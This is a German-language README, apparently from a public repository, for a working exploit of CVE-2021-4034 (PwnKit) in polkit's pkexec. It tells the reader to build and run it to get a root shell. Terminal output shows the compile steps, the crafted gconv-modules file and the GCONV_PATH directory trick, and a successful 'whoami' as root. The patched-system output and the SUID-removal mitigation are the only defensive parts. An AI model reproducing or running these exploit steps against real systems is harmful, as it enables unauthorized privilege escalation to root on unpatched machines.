
Exploit für CVE-2021-4034 in polkit pkexec, der eine Root-Shell über eine SUID-Privilegieneskalation bereitstellt. Enthält Quellcode und Build-Anweisungen.
Polkit-Privilege-Escalation-Exploit
Führe einfach make, ./cve-2021-4034 aus und genieße deine Root-Shell.
Das ursprüngliche Advisory von meinem Qualys-Team hier
Wenn der Exploit funktioniert, erhältst du sofort eine Root-Shell:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Ein Update von polkit auf den meisten Systemen patcht den Exploit, daher erhältst du die Nutzungsanleitung und das Programm beendet sich:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit (früher PolicyKit) ist eine Komponente zur Steuerung systemweiter Privilegien in Unix-ähnlichen Betriebssystemen. Es bietet eine organisierte Möglichkeit für nicht-privilegierte Prozesse, mit privilegierten Prozessen zu kommunizieren. Es ist auch möglich, polkit zu verwenden, um Befehle mit erhöhten Privilegien auszuführen, indem der Befehl pkexec gefolgt von dem auszuführenden Befehl (mit Root-Berechtigung) verwendet wird.
Wenn für dein Betriebssystem keine Patches verfügbar sind, kannst du das SUID-Bit von pkexec als vorübergehende Maßnahme entfernen.
# chmod 0755 /usr/bin/pkexec